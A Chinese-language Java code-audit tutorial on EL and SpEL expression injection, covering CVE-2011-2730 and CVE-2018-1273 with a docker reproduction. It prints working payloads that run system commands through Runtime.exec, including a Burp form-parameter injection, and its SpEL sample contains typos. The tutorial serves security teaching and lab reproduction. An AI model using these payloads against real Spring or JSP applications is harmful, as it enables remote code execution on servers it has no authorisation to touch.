【Java代码审计】表达式注入
1 前置知识
1.1 EL表达式
EL表达式主要功能:
- 获取数据:可以从JSP四大作用域中获取数据
- 执行运算:执行一些关系运算,逻辑运算,算术运算
- 获取web开发常用对象:通过内置 的11个隐式对象获取想要的数据
- 调用java方法:允许用户开发自定义EL函数,通过EL表达式调用java方法
JSP四大作用域:
- page:只在一个页面保存数据(默认)
- request:只在一个请求保存数据
- session:只在一个会话保存数据
- application:在整个服务器保存数据,全部用户共享
EL表达式获取对象属性的方法:
${对象.属性}
[]
:属性名中存在特殊字符或者属性名是一个变量时使用
实例化java内置类:
- 例如使用Runtime.class会执行系统命令
${Runtime.getRuntime().exec("calc")}
jsp标准方法与EL表达式取值的区别:
JSP | EL表达式 |
---|---|
<%=((Person)request.getAttribute("p")).getName()%> | ${p.name} |
<%=((Person)request.getAttribute("p")).getAge()%> | ${p.age} |
1.2 SPEL表达式
SPEL表达式注入:独立于Spring容器使用,但只被当成简单的表达式语言使用
SPEL中EvaluationContext(表示解析器)用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口
两种实现方法:
SimpleEvaluationContext | StandardEvaluationContext(默认) |
---|---|
权限小,只支持一些map结构 | 权限大,可以执行任意代码,会被恶意用户利用 |
针对不需要SPEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集 | 公开SpEL全部语言功能和配置选项。用户可以使用他来指定默认的跟对象并配置每个可用的评估相关策略 |
利用:
String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
// 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
ExpressionParser parser = new SpelExpressionParser();
// 构造上下文:准备比如变量定义等等表达式需要的上下文数据
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));
2 漏洞描述
表达式注入(EL表达式),JSP的一种内置语言。作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作。
3 通用POC
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
4 CVE-2011-2730-Spring标签EL表达式注入
原理:Spring的message标签会对EL表达式进行解析,且 web容器也会对EL表达式进行解析,两次解析造成EL表达式注入。
spring message标签形式:<spring:message text="${param.a}"></spring:message>
利用:
-
获取信息:
a = ${applicationScope}
-
攻击性:利用反射,先获取getRuntime方法中的method对象,然后通过invoke获取Runtime对象,然后可以直接调用exec方法运行恶意代码
<spring:message text= "${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"> </spring:message>
验证步骤:
- 确定web应用使用了spring标签,因为没有spring标签的话,也就谈不上EL表达式注入了
- 确定标签中存在EL注入,可以通过提交${applicationScope}等进行测试
- 判断servlet容器版本,如果容器不支持EL2.2的话,存在EL注入也只能进行获取服务器信息等操作了
- 如果容器支持EL2.2,就可以尝试构造攻击代码对服务器本身直接进行攻击
5 CVE-2018-1273-Spring Data Commons 远程代码执行漏洞
5.1 描述
成因:当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容。
前置知识:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令.
漏洞的判定:确认目标项目中含有Spring-data-commons包并且版本范围如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
5.2 docker复现
burp抓包,使用payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
放包,页面返回如下
使用命令docker-compose exec spring bash
进入目录查看是否有success,有success